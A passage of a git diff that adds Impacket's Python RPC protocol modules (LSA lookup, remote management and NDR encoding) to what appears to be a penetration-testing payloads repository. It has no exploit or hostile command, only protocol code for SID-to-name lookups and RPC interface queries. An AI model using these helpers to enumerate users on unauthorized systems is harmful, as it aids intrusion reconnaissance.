+POLICY_MODE_REMOTE_INTERACTIVE = 0x00000400 +POLICY_MODE_DENY_REMOTE_INTERACTIVE = 0x00000800 +POLICY_MODE_ALL = 0x00000FF7 +POLICY_MODE_ALL_NT4 = 0x00000037 + +# 2.2.4.4 LSAPR_POLICY_AUDIT_EVENTS_INFO +# EventAuditingOptions +POLICY_AUDIT_EVENT_UNCHANGED = 0x00000000 +POLICY_AUDIT_EVENT_NONE = 0x00000004 +POLICY_AUDIT_EVENT_SUCCESS = 0x00000001 +POLICY_AUDIT_EVENT_FAILURE = 0x00000002 + +# 2.2.4.19 POLICY_DOMAIN_KERBEROS_TICKET_INFO +# AuthenticationOptions +POLICY_KERBEROS_VALIDATE_CLIENT = 0x00000080 + +# 2.2.7.21 LSA_FOREST_TRUST_RECORD +# Flags +LSA_TLN_DISABLED_NEW = 0x00000001 +LSA_TLN_DISABLED_ADMIN = 0x00000002 +LSA_TLN_DISABLED_CONFLICT = 0x00000004 +LSA_SID_DISABLED_ADMIN = 0x00000001 +LSA_SID_DISABLED_CONFLICT = 0x00000002 +LSA_NB_DISABLED_ADMIN = 0x00000004 +LSA_NB_DISABLED_CONFLICT = 0x00000008 +LSA_FTRECORD_DISABLED_REASONS = 0x0000FFFF + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.2.1 LSAPR_HANDLE +class LSAPR_HANDLE(NDRSTRUCT): + align = 1 + structure = ( + ('Data','20s=""'), + ) + +# 2.2.2.3 LSA_UNICODE_STRING +LSA_UNICODE_STRING = RPC_UNICODE_STRING + +# 2.2.3.1 STRING +class STRING(NDRSTRUCT): + commonHdr = ( + ('MaximumLength','. +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \ + NULL +from impacket import nt_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, LSAPR_ACL, SECURITY_DESCRIPTOR_CONTROL, LSAPR_SECURITY_DESCRIPTOR, \ + PLSAPR_SECURITY_DESCRIPTOR, SECURITY_IMPERSONATION_LEVEL, SECURITY_CONTEXT_TRACKING_MODE, \ + SECURITY_QUALITY_OF_SERVICE, LSAPR_OBJECT_ATTRIBUTES, LSAPR_TRUST_INFORMATION, PLSAPR_TRUST_INFORMATION_ARRAY, \ + PRPC_UNICODE_STRING_ARRAY, LsarOpenPolicy2, LsarOpenPolicy, LsarClose, hLsarOpenPolicy2, hLsarOpenPolicy, hLsarClose +from impacket.dcerpc.v5.samr import SID_NAME_USE +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if nt_errors.ERROR_MESSAGES.has_key(key): + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +# 2.2.10 ACCESS_MASK +POLICY_LOOKUP_NAMES = 0x00000800 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST +class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Domains', PLSAPR_TRUST_INFORMATION_ARRAY), + ('MaxEntries', ULONG), + ) + +class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER): + referent = ( + ('Data', LSAPR_REFERENCED_DOMAIN_LIST), + ) + +# 2.2.14 LSA_TRANSLATED_SID +class LSA_TRANSLATED_SID(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('RelativeId', ULONG), + ('DomainIndex', LONG), + ) + +# 2.2.15 LSAPR_TRANSLATED_SIDS +class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray): + item = LSA_TRANSLATED_SID + +class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSA_TRANSLATED_SID_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSA_TRANSLATED_SID_ARRAY), + ) + +# 2.2.16 LSAP_LOOKUP_LEVEL +class LSAP_LOOKUP_LEVEL(NDRENUM): + class enumItems(Enum): + LsapLookupWksta = 1 + LsapLookupPDC = 2 + LsapLookupTDL = 3 + LsapLookupGC = 4 + LsapLookupXForestReferral = 5 + LsapLookupXForestResolve = 6 + LsapLookupRODCReferralToFullDC = 7 + +# 2.2.17 LSAPR_SID_INFORMATION +class LSAPR_SID_INFORMATION(NDRSTRUCT): + structure = ( + ('Sid', PRPC_SID), + ) + +# 2.2.18 LSAPR_SID_ENUM_BUFFER +class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray): + item = LSAPR_SID_INFORMATION + +class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_SID_INFORMATION_ARRAY), + ) + +class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('SidInfo', PLSAPR_SID_INFORMATION_ARRAY), + ) + +# 2.2.19 LSAPR_TRANSLATED_NAME +class LSAPR_TRANSLATED_NAME(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Name', RPC_UNICODE_STRING), + ('DomainIndex', LONG), + ) + +# 2.2.20 LSAPR_TRANSLATED_NAMES +class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_NAME + +class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_NAME_ARRAY), + ) + +class LSAPR_TRANSLATED_NAMES(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Names', PLSAPR_TRANSLATED_NAME_ARRAY), + ) + +# 2.2.21 LSAPR_TRANSLATED_NAME_EX +class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Name', RPC_UNICODE_STRING), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.22 LSAPR_TRANSLATED_NAMES_EX +class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_NAME_EX + +class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY), + ) + +class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY), + ) + +# 2.2.23 LSAPR_TRANSLATED_SID_EX +class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('RelativeId', ULONG), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.24 LSAPR_TRANSLATED_SIDS_EX +class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_SID_EX + +class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_SID_EX_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY), + ) + +# 2.2.25 LSAPR_TRANSLATED_SID_EX2 +class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT): + structure = ( + ('Use', SID_NAME_USE), + ('Sid', PRPC_SID), + ('DomainIndex', LONG), + ('Flags', ULONG), + ) + +# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2 +class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray): + item = LSAPR_TRANSLATED_SID_EX2 + +class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER): + referent = ( + ('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY), + ) + +class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT): + structure = ( + ('Entries', ULONG), + ('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY), + ) + +class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): + item = RPC_UNICODE_STRING + +################################################################################ +# RPC CALLS +################################################################################ +# 3.1.4.4 LsarGetUserName (Opnum 45) +class LsarGetUserName(NDRCALL): + opnum = 45 + structure = ( + ('SystemName', LPWSTR), + ('UserName', PRPC_UNICODE_STRING), + ('DomainName', PRPC_UNICODE_STRING), + ) + +class LsarGetUserNameResponse(NDRCALL): + structure = ( + ('UserName', PRPC_UNICODE_STRING), + ('DomainName', PRPC_UNICODE_STRING), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.5 LsarLookupNames4 (Opnum 77) +class LsarLookupNames4(NDRCALL): + opnum = 77 + structure = ( + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames4Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.6 LsarLookupNames3 (Opnum 68) +class LsarLookupNames3(NDRCALL): + opnum = 68 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames3Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.7 LsarLookupNames2 (Opnum 58) +class LsarLookupNames2(NDRCALL): + opnum = 58 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupNames2Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.8 LsarLookupNames (Opnum 14) +class LsarLookupNames(NDRCALL): + opnum = 14 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('Count', ULONG), + ('Names', RPC_UNICODE_STRING_ARRAY), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ) + +class LsarLookupNamesResponse(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedSids', LSAPR_TRANSLATED_SIDS), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.9 LsarLookupSids3 (Opnum 76) +class LsarLookupSids3(NDRCALL): + opnum = 76 + structure = ( + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupSids3Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.10 LsarLookupSids2 (Opnum 57) +class LsarLookupSids2(NDRCALL): + opnum = 57 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ('LookupOptions', ULONG), + ('ClientRevision', ULONG), + ) + +class LsarLookupSids2Response(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +# 3.1.4.11 LsarLookupSids (Opnum 15) +class LsarLookupSids(NDRCALL): + opnum = 15 + structure = ( + ('PolicyHandle', LSAPR_HANDLE), + ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES), + ('LookupLevel', LSAP_LOOKUP_LEVEL), + ('MappedCount', ULONG), + ) + +class LsarLookupSidsResponse(NDRCALL): + structure = ( + ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST), + ('TranslatedNames', LSAPR_TRANSLATED_NAMES), + ('MappedCount', ULONG), + ('ErrorCode', NTSTATUS), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 14 : (LsarLookupNames, LsarLookupNamesResponse), + 15 : (LsarLookupSids, LsarLookupSidsResponse), + 45 : (LsarGetUserName, LsarGetUserNameResponse), + 57 : (LsarLookupSids2, LsarLookupSids2Response), + 58 : (LsarLookupNames2, LsarLookupNames2Response), + 68 : (LsarLookupNames3, LsarLookupNames3Response), + 76 : (LsarLookupSids3, LsarLookupSids3Response), + 77 : (LsarLookupNames4, LsarLookupNames4Response), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hLsarGetUserName(dce, userName = NULL, domainName = NULL): + request = LsarGetUserName() + request['SystemName'] = NULL + request['UserName'] = userName + request['DomainName'] = domainName + return dce.request(request) + +def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames4() + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames3() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupNames2() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): + request = LsarLookupNames() + request['PolicyHandle'] = policyHandle + request['Count'] = len(names) + for name in names: + itemn = RPC_UNICODE_STRING() + itemn['Data'] = name + request['Names'].append(itemn) + request['TranslatedSids']['Sids'] = NULL + request['LookupLevel'] = lookupLevel + + return dce.request(request) + +def hLsarLookupSids2(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001): + request = LsarLookupSids2() + request['PolicyHandle'] = policyHandle + request['SidEnumBuffer']['Entries'] = len(sids) + for sid in sids: + itemn = LSAPR_SID_INFORMATION() + itemn['Sid'].fromCanonical(sid) + request['SidEnumBuffer']['SidInfo'].append(itemn) + + request['TranslatedNames']['Names'] = NULL + request['LookupLevel'] = lookupLevel + request['LookupOptions'] = lookupOptions + request['ClientRevision'] = clientRevision + + return dce.request(request) + +def hLsarLookupSids(dce, policyHandle, sids, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta): + request = LsarLookupSids() + request['PolicyHandle'] = policyHandle + request['SidEnumBuffer']['Entries'] = len(sids) + for sid in sids: + itemn = LSAPR_SID_INFORMATION() + itemn['Sid'].fromCanonical(sid) + request['SidEnumBuffer']['SidInfo'].append(itemn) + + request['TranslatedNames']['Names'] = NULL + request['LookupLevel'] = lookupLevel + + return dce.request(request) + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/mgmt.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/mgmt.py new file mode 100644 index 0000000..dc3e164 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/mgmt.py @@ -0,0 +1,168 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [C706] Remote Management Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUniConformantVaryingArray +from impacket.dcerpc.v5.epm import PRPC_IF_ID +from impacket.dcerpc.v5.dtypes import ULONG, DWORD_ARRAY, ULONGLONG +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import uuidtup_to_bin +from impacket import nt_errors + +MSRPC_UUID_MGMT = uuidtup_to_bin(('afa8bd80-7d8a-11c9-bef4-08002b102989','1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if nt_errors.ERROR_MESSAGES.has_key(key): + error_msg_short = nt_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] + return 'MGMT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'MGMT SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +class rpc_if_id_p_t_array(NDRUniConformantArray): + item = PRPC_IF_ID + +class rpc_if_id_vector_t(NDRSTRUCT): + structure = ( + ('count',ULONG), + ('if_id',rpc_if_id_p_t_array), + ) + structure64 = ( + ('count',ULONGLONG), + ('if_id',rpc_if_id_p_t_array), + ) + +class rpc_if_id_vector_p_t(NDRPOINTER): + referent = ( + ('Data', rpc_if_id_vector_t), + ) + +error_status = ULONG +################################################################################ +# STRUCTURES +################################################################################ + +################################################################################ +# RPC CALLS +################################################################################ +class inq_if_ids(NDRCALL): + opnum = 0 + structure = ( + ) + +class inq_if_idsResponse(NDRCALL): + structure = ( + ('if_id_vector', rpc_if_id_vector_p_t), + ('status', error_status), + ) + +class inq_stats(NDRCALL): + opnum = 1 + structure = ( + ('count', ULONG), + ) + +class inq_statsResponse(NDRCALL): + structure = ( + ('count', ULONG), + ('statistics', DWORD_ARRAY), + ('status', error_status), + ) + +class is_server_listening(NDRCALL): + opnum = 2 + structure = ( + ) + +class is_server_listeningResponse(NDRCALL): + structure = ( + ('status', error_status), + ) + +class stop_server_listening(NDRCALL): + opnum = 3 + structure = ( + ) + +class stop_server_listeningResponse(NDRCALL): + structure = ( + ('status', error_status), + ) + +class inq_princ_name(NDRCALL): + opnum = 4 + structure = ( + ('authn_proto', ULONG), + ('princ_name_size', ULONG), + ) + +class inq_princ_nameResponse(NDRCALL): + structure = ( + ('princ_name', NDRUniConformantVaryingArray), + ('status', error_status), + ) + + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0 : (inq_if_ids, inq_if_idsResponse), + 1 : (inq_stats, inq_statsResponse), + 2 : (is_server_listening, is_server_listeningResponse), + 3 : (stop_server_listening, stop_server_listeningResponse), + 4 : (inq_princ_name, inq_princ_nameResponse), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hinq_if_ids(dce): + request = inq_if_ids() + return dce.request(request) + +def hinq_stats(dce, count = 4): + request = inq_stats() + request['count'] = count + return dce.request(request) + +def his_server_listening(dce): + request = is_server_listening() + return dce.request(request, checkError=False) + +def hstop_server_listening(dce): + request = stop_server_listening() + return dce.request(request) + +def hinq_princ_name(dce, authn_proto=0, princ_name_size=1): + request = inq_princ_name() + request['authn_proto'] = authn_proto + request['princ_name_size'] = princ_name_size + return dce.request(request, checkError=False) + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/ndr.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/ndr.py new file mode 100644 index 0000000..991b017 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/ndr.py @@ -0,0 +1,1867 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# [C706] Transfer NDR Syntax implementation +# +# Author: Alberto Solino (@agsolino) +# +# ToDo: +# [X] Unions and rest of the structured types +# [ ] Documentation for this library, especially the support for Arrays +# + +import random +import inspect +from struct import pack, unpack, calcsize + +from impacket import LOG +from impacket.winregistry import hexdump +from impacket.dcerpc.v5.enum import Enum +from impacket.uuid import uuidtup_to_bin + +# Something important to have in mind: +# Diagrams do not depict the specified alignment gaps, which can appear in the octet stream +# before an item (see Section 14.2.2 on page 620.) +# Where necessary, an alignment gap, consisting of octets of unspecified value, *precedes* the +# representation of a primitive. The gap is of the smallest size sufficient to align the primitive + +class NDR(object): + """ + This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type + """ + referent = () + commonHdr = () + commonHdr64 = () + structure = () + structure64 = () + align = 4 + item = None + _isNDR64 = False + + def __init__(self, data = None, isNDR64 = False): + object.__init__(self) + self._isNDR64 = isNDR64 + self.fields = {} + + if isNDR64 is True: + if self.commonHdr64 != (): + self.commonHdr = self.commonHdr64 + if self.structure64 != (): + self.structure = self.structure64 + if hasattr(self, 'align64'): + self.align = self.align64 + + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent: + if self.isNDR(fieldTypeOrClass): + self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64) + elif fieldTypeOrClass == ':': + self.fields[fieldName] = '' + elif len(fieldTypeOrClass.split('=')) == 2: + try: + self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1]) + except: + self.fields[fieldName] = None + else: + self.fields[fieldName] = [] + + if data is not None: + self.fromString(data) + + def changeTransferSyntax(self, newSyntax): + NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) + if newSyntax == NDR64Syntax: + if self._isNDR64 is False: + # Ok, let's change everything + self._isNDR64 = True + for fieldName in self.fields.keys(): + if isinstance(self.fields[fieldName], NDR): + self.fields[fieldName].changeTransferSyntax(newSyntax) + # Finally, I change myself + if self.commonHdr64 != (): + self.commonHdr = self.commonHdr64 + if self.structure64 != (): + self.structure = self.structure64 + if hasattr(self, 'align64'): + self.align = self.align64 + # And check whether the changes changed the data types + # if so, I need to instantiate the new ones and copy the + # old values + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent: + if isinstance(self.fields[fieldName], NDR): + if fieldTypeOrClass != self.fields[fieldName].__class__ and isinstance(self.fields[fieldName], NDRPOINTERNULL) is False: + backupData = self[fieldName] + self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64) + if self.fields[fieldName].fields.has_key('Data'): + self.fields[fieldName].fields['Data'] = backupData + else: + self[fieldName] = backupData + + else: + if self._isNDR64 is True: + # Ok, nothing for now + raise + + def __setitem__(self, key, value): + if isinstance(value, NDRPOINTERNULL): + value = NDRPOINTERNULL(isNDR64 = self._isNDR64) + if isinstance(self.fields[key], NDRPOINTER): + self.fields[key] = value + elif self.fields[key].fields.has_key('Data'): + if isinstance(self.fields[key].fields['Data'], NDRPOINTER): + self.fields[key].fields['Data'] = value + elif isinstance(value, NDR): + # It's not a null pointer, ok. Another NDR type, but it + # must be the same same as the iteam already in place + if self.fields[key].__class__.__name__ == value.__class__.__name__: + self.fields[key] = value + elif isinstance(self.fields[key]['Data'], NDR): + if self.fields[key]['Data'].__class__.__name__ == value.__class__.__name__: + self.fields[key]['Data'] = value + else: + LOG.error("Can't setitem with class specified, should be %s" % self.fields[key]['Data'].__class__.__name__) + else: + LOG.error("Can't setitem with class specified, should be %s" % self.fields[key].__class__.__name__) + elif isinstance(self.fields[key], NDR): + self.fields[key]['Data'] = value + else: + self.fields[key] = value + + def __getitem__(self, key): + if isinstance(self.fields[key], NDR): + if self.fields[key].fields.has_key('Data'): + return self.fields[key]['Data'] + return self.fields[key] + + def __str__(self): + return self.getData() + + def __len__(self): + # XXX: improve + return len(self.getData()) + + def getDataLen(self, data): + return len(data) + + @staticmethod + def isNDR(field): + if inspect.isclass(field): + myClass = field + if issubclass(myClass, NDR): + return True + return False + + def dumpRaw(self, msg = None, indent = 0): + if msg is None: msg = self.__class__.__name__ + ind = ' '*indent + print "\n%s" % msg + for field in self.commonHdr+self.structure+self.referent: + i = field[0] + if i in self.fields: + if isinstance(self.fields[i], NDR): + self.fields[i].dumpRaw('%s%s:{' % (ind,i), indent = indent + 4) + print "%s}" % ind + + elif isinstance(self.fields[i], list): + print "%s[" % ind + for num,j in enumerate(self.fields[i]): + if isinstance(j, NDR): + j.dumpRaw('%s%s:' % (ind,i), indent = indent + 4) + print "%s," % ind + else: + print "%s%s: {%r}," % (ind, i, j) + print "%s]" % ind + + else: + print "%s%s: {%r}" % (ind,i,self[i]) + + def dump(self, msg = None, indent = 0): + if msg is None: msg = self.__class__.__name__ + ind = ' '*indent + if msg != '': + print "%s" % msg, + for fieldName, fieldType in self.commonHdr+self.structure+self.referent: + if fieldName in self.fields: + if isinstance(self.fields[fieldName], NDR): + self.fields[fieldName].dump('\n%s%-31s' % (ind, fieldName+':'), indent = indent + 4), + else: + print " %r" % (self[fieldName]), + + def getAlignment(self): + return self.align + + @staticmethod + def calculatePad(fieldType, soFar): + try: + alignment = calcsize(fieldType.split('=')[0]) + except: + alignment = 0 + + if alignment > 0: + pad = (alignment - (soFar % alignment)) % alignment + else: + pad = 0 + + return pad + + def getData(self, soFar = 0): + data = '' + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + # Alignment of Primitive Types + + # NDR enforces NDR alignment of primitive data; that is, any primitive of size n + # octets is aligned at a octet stream index that is a multiple of n. + # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates + # the number of an octet in an octet stream when octets are numbered, beginning with 0, + # from the first octet in the stream. Where necessary, an alignment gap, consisting of + # octets of unspecified value, precedes the representation of a primitive. The gap is + # of the smallest size sufficient to align the primitive. + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data += '\xbf'*pad + + res = self.pack(fieldName, fieldTypeOrClass, soFar) + + data += res + soFar += len(res) + except Exception, e: + LOG.error(str(e)) + LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) + raise + + return data + + def fromString(self, data, soFar = 0): + soFar0 = soFar + for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: + try: + # Alignment of Primitive Types + + # NDR enforces NDR alignment of primitive data; that is, any primitive of size n + # octets is aligned at a octet stream index that is a multiple of n. + # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates + # the number of an octet in an octet stream when octets are numbered, beginning with 0, + # from the first octet in the stream. Where necessary, an alignment gap, consisting of + # octets of unspecified value, precedes the representation of a primitive. The gap is + # of the smallest size sufficient to align the primitive. + pad = self.calculatePad(fieldTypeOrClass, soFar) + if pad > 0: + soFar += pad + data = data[pad:] + + size = self.unpack(fieldName, fieldTypeOrClass, data, soFar) + + data = data[size:] + soFar += size + except Exception,e: + LOG.error(str(e)) + LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, 